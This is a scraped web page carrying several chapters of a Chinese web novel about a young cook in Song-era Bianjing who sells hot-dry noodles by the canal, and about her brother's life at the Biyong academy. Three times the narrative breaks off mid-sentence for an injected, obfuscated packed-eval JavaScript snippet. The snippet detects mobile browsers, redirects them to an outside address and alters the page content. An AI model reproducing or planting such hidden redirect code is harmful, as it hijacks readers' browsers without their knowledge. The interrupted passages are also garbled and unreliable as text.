沈嫖这会自己在家，到前面小楼里看了两圈，一楼是有三间厢房打通的，另外一间隔开的，也没放什么东西，就是一些桌椅板凳来的，原主爹娘是预备着将来郊哥儿娶妻生子可以住的。 二楼则是四间正儿八经的厢房。 沈嫖准备专门做午食来售卖，这边位置好啊，码头上劳作的漕工，厢军，以及私家货船，天南海北来来往往的人。她之前学习过关于每座城市美食的发展历程，就比如说武汉，武汉作为九省通衢，在晚清的时候，码头工人从事大量的体力劳动，就需要快一点，热量又高的早饭，所以有了“过早”，由此发展得来的热干面，豆皮，还有面窝，都是高碳水高热量，这么来看沈家地理位置是绝佳的。 辟雍书院。 沈郊是在去年考上的辟雍，辟雍算是太学的扩建，他脑袋灵，读书又刻苦，自学也没请过先生，母亲十分看重他读书，后来母亲去世，跟阿姊关系不好，他就住在书院的学斋里，虽然衣着简单，吃的也困苦，但每次考试都能拿到甲。 辟雍的学生被称作为外舍生，书院考试分为私试，每月一次，年考就是公试，若每次考试都能名列前茅，他就能进入太学，成为内舍生，在那里可以接触到最好的老师和教学资料，成为上舍生参加科举也能事半功倍。 他回去的时候花了两文钱坐的驴车，节省了一大半的时间，到学院还不到申时。 沈郊今日是请了假归家的，现下归斋，辟雍里学子们被分到不同的斋，平时可以居住也可以当做书房用，每个斋有斋长，是监督管理大家的。 沈郊居住的斋叫做笃敬斋，学子们有在三三两两凑在一起互相切磋的，也有独自个在读书的，他提着饭盒继续往自己那屋舍内去，只是越往里走就越听见里面的吵闹声，不由的加快步伐。 与沈郊住在同舍的叫柏渡，柏渡比沈郊年长一岁，平日里就嬉皮笑脸的，此时此刻正气的眉目怒瞪。 “蔡安群，我都说过了赔你一整套洒金笺的纸张，你还如此惺惺作态作何。” 蔡安群气的脸红脖子粗，又看到平日的同窗们围在周围，肯定都在心里嘲笑他穷苦，他定要去告状。 陈尧之在一旁劝和，他是斋长，眼看着蔡安群要去找直学告状，赶紧开口，“若是被学官看到，咱们整个学斋都要受到惩罚，难不成你们都想去绳愆厅听训斥吗？” 柏渡一听到绳愆厅就立刻先讨饶，虽十分看不上蔡安群，扔抱拳行礼，态度也变好一些，“蔡兄，刚刚是我的不是，请你大人有大量，原谅我罢。”语气颇有些懒散。 蔡安群气的压根都没张嘴，只是看在斋长的面子上才敷衍的回礼，一甩袖子转身回到自己屋舍。 陈尧之又连忙让大家都散了去，沈郊才到他们面前，“发生何事？” 柏渡简单解释一遍，“不就是你上次私试的成绩比他好，他不服气，不当面说出来，背地里让我听见，我就把水全部洒到他的纸张上了。” 沈郊看一眼蔡安群离去的背影，“下次别这么做了，被学谕知道，你又要挨罚了。” 柏渡叹气，“可不是。”他倒不是怕学谕的处罚，是怕家中。 辟雍是八品以下官员以及平民百姓的孩子才能考试入内，但柏渡不是，他祖父曾官至翰林学士，只是他父亲在读书上建树不多，现如今在光禄寺当值，是个闲差，家中唯恐他将来也是个纨绔，特意把他安排到了辟雍，长辈盼他能被身边人影响多多上益，可谓是古有孟母三迁，今有他柏父择辟雍，但辟雍内的祭酒曾是他祖父的学生，所以对他也十分严格，在书院内但凡惹出什么乱子，就直接告诉他家中，他就会被家法伺候。 不过他在书院内也结交到不少的好友，沈郊是他最服气之人，虽然年纪小，但聪明又肯吃苦，做文章又十分出色，说不得在辟雍这一年，到来年二月考试就能升到太学。 尧之兄读书十分刻苦，为人忠厚，乐于助人，谁来询问他文章，都会细细讲解，一点都不藏私。 “咦，沈郊，你今日回家怎样？那贺家的事可处理妥当？” 沈郊点下头，三人一起坐下。 “还要多谢尧之兄告知我贺家大郎和林博士的事，我回家时正巧碰见我阿姊在签退婚书。”他说着抱拳郑重谢过陈尧之。 陈尧之笑着摇头，“能帮上忙就可。” 贺家大郎是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665049|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔壁的私人书院就读，陈尧之平日跟人的交情都不错，从别的学子那里听来的，昨日晚间在膳堂用饭时告知给沈郊，他立刻就告假，今日急匆匆赶回。 “那贺家大郎我也见过，除了长得人模狗样一些，品行不堪。”柏渡觉得自己看人一向十分准，他说完又看着那饭盒，“这是什么？” “我阿姊给我打包带来的，晚间咱们一起用。”沈郊正想自己也应当吃不完。 柏渡也没当真，直到膳堂开始放饭，书院规定，不允许在书斋内用饭，所以大家要不出去到小摊上买些，要不就在膳堂凑合吃一些，他在书院读书，就连每月的用例，家中给的也就和普通学子一样，他别说去光顾那些大酒楼，就连街边小摊想吃份羊肉汤，外加羊肉馒头都没银钱。 三人一起到膳堂内来，沈郊把饭盒打开，里面的红烧肉虽然已经凉了，但汤汁已经完全浸透米饭，色泽还是一如既往的诱人。 本来不当回事的柏渡瞧着这颜色，依稀还闻到饭盒内的香味，“做的真好看，不过已经凉了，你且等着。”他提着饭盒匆匆到膳堂后厨内，过了好大一会又提着跑回来。 “我让后厨的师傅在蒸笼上又热过一回，好香啊，师傅还问我家中的厨子手艺怎么越来越好呢。”柏渡是个十分会与人打交道的，每次回家带回来的好吃的都会与膳堂内的大师傅商讨，一来二往，与大师傅颇有交情。 沈郊看他的馋样，陈尧之也买了一份炊饼和豆腐汤过来，三个人都分一分。 好像经过一下午的浸透，那五花肉更入味了，鲜香又不腻，配着米饭更是满口留香。 柏渡一口下去才知道是猪肉，跟他往日吃的一点不一样，肉质软烂，香而不腻，简直美味啊，手下动作倒是越来越快。 就连最稳当的从陈尧之都有些惊讶，他还没吃过这么好吃的炖猪肉，又好看味道又好。 沈嫖是把剩下的所有米饭都装了进来，但三个正在长身体的小子吃，不过几瞬间就已经用完。 就连柿饼也都分食一空，柿饼重新热过，外面倒是不焦了，但整体变软，似乎更香甜了，软乎乎的还有些粘牙。 三个人倒也没吃饱，又各自买个炊饼，但吃过好的，再吃这个就有些食不下咽，柏渡尤甚。 “阿姊的手艺这般好，怎从未听你提起过？”回学斋的路上，柏渡还在疑惑，沈郊不常提起家中事宜，只知他父母双亡，家中有阿姊和妹妹。 沈郊对最近几年阿姊在做些什么也并不清楚，“在四司帮忙，不过我这次归家有些晚，才知道她这几日生一场大病。” 柏渡是个仗义的，“我瞧着阿姊的手艺不输咱们汴京那些有名望的女厨。” 汴京大户人家做一些宴会时常常会邀请女厨来，价格十分昂贵，可以达到一位普通官员一月的俸禄呢，不过只要席面漂亮，再多的费用也是应当的，贵人们在吃食向来舍得花费。 5. 裹满麻酱的热干面 沈嫖午后从家离开就去了蔡河下游边上最大的一家榨油坊，上写着于家榨油坊。 这会店内人少，因着今个是相国寺逢集，多数人都去凑热闹了，店小二正昏昏欲睡时，就见来了一位小娘子，忙迎上去。 “小娘子来了，是要买油吗？” 沈嫖其实还尚未进来时就闻到了芝麻香味，“我要一斤芝麻油，再来一些芝麻酱，店内可有？”她特意问有无麻酱，是因为在现在麻酱并未被广泛使用，就连涮羊肉也只是蘸一些胡椒，酱油这些组合成的蘸料。 小二哥态度好，“芝麻油打上一斤，芝麻酱的话，容恐小娘子等一下，我且去问一问。” 沈嫖也并不吃惊，点头示意，小二哥走了后，她看着店内堆在一起貌似是刚刚收购来的粒粒分明的上好的芝麻，怪不得这家榨油坊是整个外城最红火的。 小二哥也姓于，店内的老板是他叔父，他是来学榨油经营手艺的，本预想也开一家属于自己的榨油坊，到店后的院内，叔父正在和榨油的老师傅商量炒芝麻的火候，说完他才上前，“有一位小娘子来买麻酱，我不记得咱们店内哪里还有些?” 那老师傅本已经走开，听到话音又转身，“今个晌午刚刚出了一坛多，原是东鸡儿巷郭厨要的，还有些余量。” 芝麻酱这个东西并不常有，只有一些大酒楼的用来拌麻腐的，况也都是夏季多用，也是好些日子没要了。 小二哥立时就应下，“得嘞，那我去取了来。” 沈嫖在店里等了大约不到一刻钟，就见到那小二哥急匆匆的回来，怀中抱着两个小陶罐，“小娘子，这个是芝麻油，这边是麻酱，劳烦您看好，我这边给你过秤。” “多谢了，这麻酱是多少银钱一斤？”她要用来做热干面，考虑控制成本。 “四十个钱。”于小二边说边动作麻利的称重，店在汴京城也开了十几年，向来是童叟无欺，他秤好还给沈嫖看一看。 沈嫖要了一斤的芝麻酱，倒是未曾想到会这般便宜，纯的芝麻酱是非常浓稠的，她用来做热干面需要提前用温水泄开，自然一斤的量也就更耐用。 她又到杂货铺买上一些碗筷，以及碱面，杂货铺就在沈嫖家一条巷子上，经营店铺的是李家娘子，本名叫林甘草，她家官人是位木匠，所以他们是前面推出木板摆上货品售卖，后院内又是可以做桌椅板凳的。 李娘子好心的用家中的独轮车帮沈嫖送回家。 “沈家大姐儿，日后还有什么需要的，就来店内寻我，不必客气。”李娘子认识沈嫖母亲，巷子里平日里谁家缺些针头线脑的都来她家寻，但与沈嫖并不熟悉，平日里每次见她也都是急匆匆的去四司做工。 沈嫖打开大门，帮忙扶着车子依靠在门口，“那我就多谢李家嫂嫂了。” 李娘子也是第一回来沈家，一眼看着这临码头的小楼，多有羡慕，台阶往下就是码头，沿着河边就有摆摊叫卖的，是比巷子里头热闹呢。 两个人一起把碗筷放到一楼的桌子上。 李娘子收拾完又推着小推车离开，她到家才与自家官人说起沈家。 “那沈家大姐儿瞧着身子骨也弱，今日早上才大闹一出退婚，我刚刚瞧人一点事没，早些时候还听贺家那位婶婶说是不舍得与她家大郎退婚才生病的，这可一点不像。” 李木匠手下刨木头的手没停，也乐的跟自家娘子说一说闲话，“贺家哥儿攀上了林博士家，自然是要退了沈家的婚，沈家大姐儿现在是无父无母，还要负担二郎的束脩，和穗姐儿的嫁妆，任谁都觉得不是个良姻。说起来，沈家大姐儿命苦。” 李娘子倚着门框，也是叹声气，“可不是，刚刚她来买碱面和碗筷，我都是给便宜不少，不过不嫁到贺家，我还觉得是好事，沈家大姐儿性子太好，去了贺家也是受婆母磋磨。” 李木匠可是肯定的点头，“也不知她买那些碗筷做什么？” 李娘子也没多问，毕竟她与沈家大姐儿也不熟悉，多打听再让她觉得自己是存心看笑话的倒不好呢。 沈嫖回到家里就开始忙活起来，先和上一小瓢的面粉，又适量加入碱面，先是揉搓成絮状，面团，放到一旁醒着，旁边再准备葱花，蒜末，盛出一小勺还温热的芝麻酱，用炉子上煨着的温水泄开，加上盐，酱油，又把五香粉重新按照她自己的配方调制一下，加入到芝麻酱里，芝麻酱的香味已经漫到这一个屋子里了。 面团醒好，又是加了碱水的，十分劲道，她在院子里的小桌子上开始擀面条。 外面穗姐儿和月儿姐跑着进到家里来，一进来俩小姑娘就闻到了香味，跑一下午，两人早就饿了，都凑上前来。 月姐儿和沈家阿姊也并不太熟，但晌午吃过阿姊做的柿饼，她心里倒是多了一些亲近。 “阿姊，这是做什么？”穗姐儿好奇的上前问，小鼻子闻来闻去。 月姐儿也是。 沈嫖见穗姐儿倒不似早上那般没什么精气神，小孩子还是要多和同龄的小朋友一起多玩一玩。 “叫做热干面，是个很好吃的面条。” 穗姐儿哇一声，眼睛都亮了，“阿姊又要做我没见过的好吃的吗？” 沈嫖笑着嗯声，“自然，月姐儿一会也不要回家吃晚食，就在阿姊家吃，就当做阿姊谢过月姐儿在我病的这几日一直陪着穗姐儿。” 月姐儿被夸奖的有些不好意思，白嫩的脸颊上有些发烫，“谢谢阿姊。”她其实应当说都是应该的，不必客气，但是这，这好香啊，她就一时挪不动脚。 现下人吃晚食也早，因为对于不宵禁来说，若是饿了还有晚上的宵夜呢。 “那穗姐儿帮阿姊把炉子下面的盖打开，烧上水。”沈嫖就下两碗面，也不值得再烧灶。 穗姐儿又连忙跑过去，月姐儿也在后面紧跟上。 沈嫖想着碱水面也不好消化，她俩小姑娘也不能多吃。 面条擀好，切成均匀的细面，沈嫖学艺时，跟过不同的大师傅，现下自己没钱买食材，能做的最多的也是面食，价格也是最便宜，且好做，想起曾经她为了学蒸的一手的好馒头，也是不知道揉了多少个，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665050|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的馒头是软绵绵的，有的馒头咬一口十分劲道，掰开后还能看到里面的层层纹理，这就端看师傅手艺高低，刚刚磨出的小麦面粉，再蒸上一锅千揉万揉的馒头，就真是不配任何菜，都能吃上俩。 沈嫖把面条提起放到案板一旁，炉子的炭火已经燃起，把小铁锅放上去，添上水，水开下面，煮上大概两三分钟，把面条捞出来过凉水，再用芝麻油拌一拌，晾凉，等凉的功夫，又把芝麻酱搅拌一下，再把凉的面条过开水煮熟，三个碗一字排开，俩小姑娘的少一些，沈嫖自己的多一些。 趁着热气把芝麻酱倒进去，热气把芝麻酱和面条充分融合，每根面条上都包裹上醇厚的芝麻酱，再把葱花和蒜末放上。 “好了，吃吧。” 三个人围坐在院子的小桌旁。 穗姐儿看着面条色泽好看，一口咬下去又满口都是香的，而且面条好劲道，跟早上阿姊做的那个面的筋道还不一样，蒜末有一点点辣，但就是好香好香。 月姐儿也是，她吃饭秀气，细嚼慢咽的，但也忍不住加快速度。 沈嫖吃上一口热干面，也不枉费自己忙活一通，总觉得比之前做的还好吃。 小院内十分安静，只剩下空气中弥漫着芝麻酱的香味。 这时已经是夕阳西下，太阳像是个红彤彤的大柿子挂在枝头，温度比着中午又下降不少。 程家嫂嫂在门口敲过门后就直接推门进来，她是来寻她家月姐儿的，未曾想一进来就闻到了香味，她在沈母没去世之前就是沈家的常客，对沈家也挺了解的，进来就看到三个人捧着碗在院子里吃起来。 “我说月姐儿这会还不闹着要回家吃点心，原来是在你阿姊吃呢，真是香啊。” “嫂嫂，快来坐下。”她锅里正巧还剩下一筷子筷子，也不多，炉子的火也没关，过开水煮熟，捞出，搅拌上没用完的芝麻酱，给端出来放到桌子上。 “嫂嫂也帮我尝尝，我做的热干面。”沈嫖感激她早上的维护之情。 程家嫂嫂也并不是拘谨之人，本家姓高，名字是高桂枝，闻着这香味她口中已经有了口水，这碗面条端到自己面前，比之刚刚更香，“那嫂嫂就不跟你客气了。” 月姐儿嘴里吃着还点下头，“娘，真香，阿姊做的，怎的这么好吃呢。” 程家嫂嫂看着自己女儿的馋样，也吃上一口，这面条好嚼头，而且还香，唇齿留香，她也顾不上说话，只两筷子就吃完了，意犹未尽的放下碗筷。 沈嫖看着她碗里吃的干干净净的，她原打算是改日单独谢过她和赵家婶婶的，她能看的出来若不是真心为你好的，谁愿意在今天那种情况下为你说话呢，再说远亲不如近邻，屋中也只有她与穗姐儿在家，往后家中若有什么，也是依靠着邻里来互相帮忙的。 还没等沈嫖开口，程家嫂嫂看向沈嫖的眼里已经满是不可思议，“阿嫖，你这两年就多在四厨可真是没少学啊，这手艺可比的上大酒楼的师傅。” “还有你是怎得想起用麻酱来拌面条的，哎呦，我往日也就吃过拌的麻腐呢。” 6. 沈家食肆 沈嫖简单解释一下，只说往后在家门口准备摆摊，以后就不去四司做帮工了。 程家嫂嫂满是支持，她带着月姐儿回家，没一会又让月姐儿送回沈家一小筐自家种的萝卜，等官人回来，给煮上一碗面汤。 程家大郎是与父母分家出来单过的，父母因为二弟生的有儿子，所以把家中的唯一一间茶铺子分给了二弟，协商好往后父母就跟着二弟单过，不过有个病灾的也需他家过去，程大郎就在外面酒楼给人做事，等攒下钱来也准备开个铺子。 程嫂嫂坐在一旁看着程大郎呼噜呼噜的喝汤，知晓他今日是累极，“跟你说，沈家大姐儿明日要在家门口摆摊卖面食，今日我在她家尝过一次，那个味道我现在也难忘。” 程家大郎没吃过，也想象不出来有多好吃，倒也没多在意，但还是希望她能有一项自己的手艺，这样以后嫁入到哪家，不会容易被拿捏，也没多提，“对了，母亲今日说是扭到腰了，明日你去二弟家中看看，弟妹的意思是茶铺子里忙，想让你白日里过去伺候。” 程嫂嫂本好好的心情听到这话气的一下子站起，“不去，不去，你母亲是为了二弟一家干活才扭到腰的吧，现下照顾人想到我了。” “哎，我知晓你心中不快，可那毕竟是我母亲，到底也是生养过我的，若不是我需要做工，我自然自己去的。”程家大郎心下叹气。 油灯微恍，月姐儿今日玩的疯，已经睡下，屋内陡然就变得静悄悄的。 程嫂嫂看着程大郎拿着筷子粗糙的双手，先松口气，嫁于他，自然也心疼他，不想再与他置气，“行，我且去瞧瞧。” 程大郎才上前握上妻子的手，“跟着我，你受委屈了。” 沈嫖还没睡，她让穗姐儿洗漱后躺床上休息，自己把白日里收拾好的豆角煮好过凉水，放到竹排上晾着，再把黄瓜也洗干净，控水，等明日有空再把程家嫂嫂送来的萝卜给腌制上。 翌日，卯时，沈嫖就醒了，她已经融入到汴京的作息里，着手先做早饭，昨日剩下的肉块切成薄薄的片，萝卜切成小块，淘洗出米，外面炉子上用陶罐煮米粥，厨房的灶上开始炒菜。 锅内没有倒油，直接用五花肉片煸炒，煸炒的微微透明焦黄，滋滋冒油，再把萝卜倒入翻炒，放上盐，酱油，五香粉，倒入半瓢水炖煮。 院子里的陶罐里咕嘟咕嘟的冒泡，米香味已经随着炊烟飘起，今日起了一些雾气，不过也不耽误汴京城的热闹，城外的养殖户们，已经赶着猪羊进城。 街巷里到处都是走街串巷货郎的吆喝声。 灶底插上木柴，也不用再管，她到院子里把买回来的菜种分片种下，又浇上水，穗姐儿自己起床收拾好才出来。 姐俩儿各自端着竹筒一起并排站在院子里刷牙，眼看着是要入冬，一日比一日要冷。 早饭是猪肉炖萝卜，外加米粥，萝卜煮的软糯透明，浸满汤汁，五花肉片反复煸炒的已经去油，又切的格外薄，只剩下薄薄的一层透明，又焦又香，况且冬吃萝卜夏吃姜，与身体只有好处。 穗姐儿吃的一个肚圆，满脸满足。 沈嫖打定主意要早点把她身上的肉养回来，“穗姐儿，你可愿意去女学读书？” 穗姐儿坐在小椅子上，十分懵懂，听到阿姊问这个问题，有些惊讶，“可是阿姊，即便我读书了也不能像二哥一般考取功名做官。” 沈嫖想了一下，“读书为知礼，为识人，如果读书只为了做官，那读书岂不是变成一件很无聊的事情。”她说完觉得穗姐儿应该也听不懂，“若是你能自己识字，可以帮阿姊算账，来日咱们家生意做的好，还需要你帮忙呢，” 穗姐儿本还迷糊，后面听到能帮阿姊，立刻点头，“阿姊，我想。” 沈嫖想起原主的记忆里和这两天自己去了解的，这个宋朝在强化军事，也拒绝多冗官冗兵，且说一点历史上的宋朝一旦在太学做到上舍生就可举荐做官，而现在做到上舍生也只是唯有参加科举这一条路，而且汴京城开了许多的女学堂，常是曾经在宫中任过女官的开办，从先教学识字，再到女红，厨艺，各有不同，一般是为了让女子学些一技之长，只是费用不低，先是半年约五六贯，越到后面学费会越贵，自带吃喝，像普通人家，一个月收入也就三贯，是做不到拿出这么大的一笔钱来供一个女子读书。 “好。”她准备这几天就打探一下，原主当时就是只上了一年女学，学了识字。 既然要开店，一楼需要灶台，她去州桥上请了瓦工来改造，沏了两个大小不一的灶台，通了烟囱，到李木匠家按照尺寸打的收银柜子，还另外又买了一个煤火炉子，开着小饭馆，是时时刻刻不能断了开水的，这些花了不过一贯钱，开业前一日，从二楼搬来三四张桌子，长条板凳摆上，碗筷放到院子的井边，洗刷干净，穗姐儿欢快的跑的跟一只小羊一样，一趟趟的帮着拿调味料，没一会一楼就布置的有模有样。 翌日。 沈嫖一晌午备好所有东西，面条擀的差不多五十份，每份十文钱，每份是按照现代的标准来做的，三两多的面。 炉子开始煮水，冒着热气。 码头人来人往的，已经有平日就在这里做工的人发现了，往常里都关着门的人户开门貌似是做起了生意，现在哪家哪户还不做些生意，其余的倒也没什么好奇的。 午时，街上有跑来跑去的闲汉来回送饭食，街边的小摊也吆喝声不停。 码头的漕工们也都歇了下来，除去值班的，当差的穿着官服从船上下来。 沿着河边的摊位也是络绎不绝，到了午食间更是热闹不凡。 今日官船上倒是来了大人物，因为从南方押送的过冬的粮食，走漕运从蔡河过，需要等着入仓，所以下面的人都提着小心，发运使和指挥使也是早早就来此候着。 穿着绯色官服的大人边走边从船上下来，身边的两位下属穿着绿色官服都陪着。 “周大人，下官已经在会仙楼定好位子了。”左边绿色官服的男子大约三十来岁，长着一张笑脸。 周则明是都指挥使，四十多岁，知道他的意思，“不必如此客气，咱们在外城，会仙楼在内城，再跑来跑去的十分不便，也耽误咱们下午的巡查。这批粮食担负着整个汴京城百姓过冬的责任，半点闪失都不能有。” 刚刚开口的那位男子听闻脸上的笑意就有些僵硬，但又不断附和，“这是自然，这是自然。”又赶紧和对面的好友使眼色，只是好友像是没看到一样。 “周大人说的是，只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665051|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这蔡河边倒是没什么大馆子，都是街边小摊，不知周大人可适应。”徐兆长年就是一张没什么笑意的脸，并不习惯奉承他人，但好友使眼色，他也只能僵硬的顺着话接下去。 王洲一听到这话眼前一黑，你这还不如不接，不就是说大人是个端着的人物吗？朝中都说周大人是个最随和的人，但愿别生气。 周则明早就听闻徐兆是个臭脾气，是二甲赐进士及第出身，早些年一直在外地为官，因为性情耿直，得罪不少人，朝中与他相合的只有王洲一。 “听闻王大人和徐大人是同窗。” 王洲一忙点头，“当年一同在太学求学。” 几人已经走到河边的街道上，周则明倒也没再询问，只抬头看过去，随手一指，“那不就是有一家正开着的食肆，我瞧着也有桌椅板凳。” 三个人走进店里就看到右手边只有三张方桌，左边就是炉灶和一张大桌子上摆着面食和各种配料，油盐酱醋，虽然简陋，但意外的干净，并且一进来就闻到一股香味。 三位随意坐下。 周则明还在和徐兆说些漕运上的公事，王洲一看这店铺连招牌都没，简单的不能再简单，小娘子打扮的甚是朴素，头上绑着绛蓝色的布条，站在煤灶旁，他随手招呼，“小娘子，来三碗面条。”说完就继续跟周大人坐在一旁。 穗姐儿有些胆小，但还是去给倒上茶水。 徐兆见她也就比桌椅高一个头，顺手帮着接过，他年幼时母亲也是独自一人出门摆摊卖些炊饼，所以看到有小娘子带着幼儿出来做些食肆生意，他都会想起过去。 王洲一看着茶水就是水，更是半点心思也没，发誓以后绝不会再来这样的食肆吃饭食。 就是不知周大人会不会因此对他们有什么看法？看徐兆还去帮面黄肌瘦的小姑娘，他再次叹气，没救了没救了，天要亡他的仕途之路啊。 这边心里翻云倒海，就闻到一股极香的味道，十分浓厚，转眼间就看到小娘子已经端着三份面条送上来，上面点缀着绿色的葱花，冒着热气，扑面而来的香味，辰起是卯时不到就起，勉强用了个羊肉馒头，喝碗汤，一直等到现在，顿觉饥肠辘辘。 就连守在一旁的侍卫也下意识的吞咽口水。 几个人拿起筷子就尝上一口。 王洲一吃一口就再也没控制住自己，面条上裹着的酱有芝麻的香味，而面条又十分有弹性，不知放什么料汁，味道唇齿留香，热乎的面条下肚只觉得五脏庙都舒舒坦坦。 周则明自幼家中贫瘠，早些年科举后也是在外地为官，说不得走边大好河山，但也见过许多世面，不过从未吃过这样的面。 三个人是正经科举出身，自然也是礼不可废，吃相好看但也快。 “小娘子，再给我们每人上一碗。”周则明还没吃完就赶紧冲着老板招手，说完又看向跟着的五个随从，“给他们也都各自来上两碗。” 王洲一嘴里没咽下去没开口说话，只用眼神表示赞同。 热干面就是出餐快，沈嫖又快速的各自下上几大碗，她未曾想到这么一会功夫就卖了快二十碗，是个好开头。 侍卫们在旁的桌子上坐下，沈嫖给的量足足的，一个男人食量大的，两份也是吃的饱饱的。 7. 秋日里的热腾腾的鸡肉炖干豆角 周则明一口气吃完两碗，端起来刚刚小姑娘倒上的没什么味道的水，在吃过这样的面后，真是非常适合。 他转身看向在灶边细细的洗刷碗筷的老板，“小娘子，不知可否询问这面怎么如此不同？我倒从未见过。” 沈嫖擦干净手上的水，上前答话，“回大人，这是我曾经遇到的一位老妇人告诉我的她家乡的做法。” 王洲一则是又开始看看这店内是否还有别的，马上进入冬季，他差不多一个多月都要待在这码头公干，他想着若能日日都吃到这般好吃的，公干的辛勤也能得到一些慰藉啊，至于刚刚想的以后再不会来这里这话，他已然抛却脑后。 徐兆而是想起这般好吃要给家中娘子和母亲也带回一些尝一尝，但今日不妥，明日一定要多买上两份。 周则明瞧着这小娘子上前回话也不卑不亢的，进退有礼，十分赞赏，点下头，他也不耽误人家正值饭食时辰赚钱，结过账就带着人离开。 倒是这几位大人来过，吸引了不少人的眼光。 漕河边上的一些当值的还有漕工都先上前询问价钱，听到只需要十文钱，顿觉不贵，又闻到香味，都三三两两的进来拼桌坐下。 邹远依靠在河边的柳树下，边看向那满是人的食肆，边手中拿着胡饼恶狠狠的咬上一口，“陶兄，要不咱们也过去尝尝。”他说着话还被口中的饼噎了下。 陶谕言闭着眼睛不愿意说话，他现下心情烦躁的很。 邹远听不到声音，转过头一瞧，就只见他直棱棱的站在那，“陶兄，还在气呢？陶伯父是让你到咱们这侍卫步军司历练一二，你瞧我这不是直接就跟着你过来了吗？多够兄弟。” 陶谕言听到他提起父亲才睁开眼瞪他一下，“你话可真多。” 邹远哎呀一下，“先别说远的，就说眼前，去吃点罢，你瞧咱们这周大人都过去吃，想来不错。” 他说完也不管陶谕言的反应，硬拽着人往没招牌的食肆走，只走到门口就闻到了香味，“咦，貌似还真不错。”等一会才挤进去，瞧着老板是位小娘子，其实汴京多厨娘，也不惊讶，只是没见过这么年轻的，还十分俊俏。 “我们要两碗。” “十分对不住，最后一份已经卖出去了。”小娘子好声好气的道歉。 邹远看店内都已经吃上，闻着香味，啧啧两声，都怪陶谕言磨磨蹭蹭，害他吃不上这么香的面，二人只好又出来。 “真香啊，明日再来，我一定要吃上这碗面。” 陶谕言抬头瞧着这店铺连个招牌都没，“出息，这样的食肆有什么好吃的。”只是有些香味罢了，都是店主的手段。 邹远切一声，“那我现在就是想吃，你有办法去给我弄一碗吗？” 陶谕言暼过一眼，不就是一碗面吗？ 沈嫖倒是没停下，剩下的三十多份，几乎是两刻钟就完全卖完，后面甚至还有需要加面的，都已经没面了。 店里大家伙吃面都热火朝天的，已然顾不上多说话。 “沈小娘子，明日可还售卖？是否能多准备一些，我们都没吃够呢？” “是啊，是啊，明日我们还会过来的。” 沈嫖这会心里才彻底安定下来，她是一个没有什么安全感的人，手艺和钱，是她唯一能相信的。 “明日还会开门的，多的话应该也准备不太多，因为店内目前就只有我一个人，但我保证最低还是五十份，只会多不会少。” 虽然没得到加量的承诺，但都想着明日一定要第一个来这里排队。 客人走完，沈嫖把门关上一扇，才和穗姐儿对视一眼，两人都笑了起来。 沈嫖坐下捶捶自己的腰，穗姐儿给阿姊倒上一杯温水，她一口气全喝了，店里也没什么好收拾的，就只需要涮洗碗筷。 中午两个人简单吃了点，午觉睡的足足的，把碗筷洗完晾置在桌子上。 沈嫖今日下午才有时间在院子里把程家嫂嫂给的萝卜切成小碎钉，用饴糖和醋泡到干净的陶罐里，封口放置在厨房，又到街边去买上两把小葱，在路边碰到老人卖自家鸡鸭的，她干脆买了只小鸡，又到匹帛店里买好看的布料，上面有红色的小碎花，十分鲜艳，适合穗姐儿，又想起沈郊，也买了一块青色的棉布，昨日见他那衣服浆洗的要烂。 今日收入五百多文，盈利有三百多文，第一日还算可以。 回到家中酉时，沈嫖先教穗姐儿几个字，让她在一旁小桌上写写记记，就开始处理鸡，杀鸡烧热水给鸡蜕皮，正忙着门口进来人。 “阿嫖，在家忙着呢？” 赵家婶婶着深灰色的衣裳，头发用一根银钗挽起，很是利落，今日她是在外面干了一整日的活，早早的就出门了。 “婶婶。”穗姐儿十分乖巧的先叫人。 沈嫖手上都是水，“婶婶来了，这是刚刚下工，快坐下歇息。” 赵家婶子瞧着她门口摆弄的还挺有模有样的，前几日瞧着她忙忙碌碌的，这几日她也是在外面的酒楼做些洗刷的事，忙的日夜倒班，就今日才有空来家中瞧瞧，随便搬个小椅子坐下，“今日生意可还顺利？” 其实原主和赵家婶婶也不熟，婶婶于她母亲是好友，母亲去世后，赵家婶婶看在旧情谊上才来时不时的帮忙。 “还算顺利。”沈嫖说着话手上动作也没停。 赵家婶婶也是颇感欣慰，这大姐儿从退婚后，精气神也好了，也知道谋路过日子，她母亲在天之灵也能瞑目。 “说是呢，我这找你有事，眼看快要入冬，改日一起买些煤，多储存着些，免得等到大雪封路就不好了。” 沈嫖应下，她知道，汴京的煤炭其实早些时候会贵一些，因为都是私家的马队，从外面运进来的，后来官方走漕运，煤炭的价格就降下来，甚至有时候还会比木柴的还要便宜。 “好，等哪日去，婶婶尽管来通知我就好。” 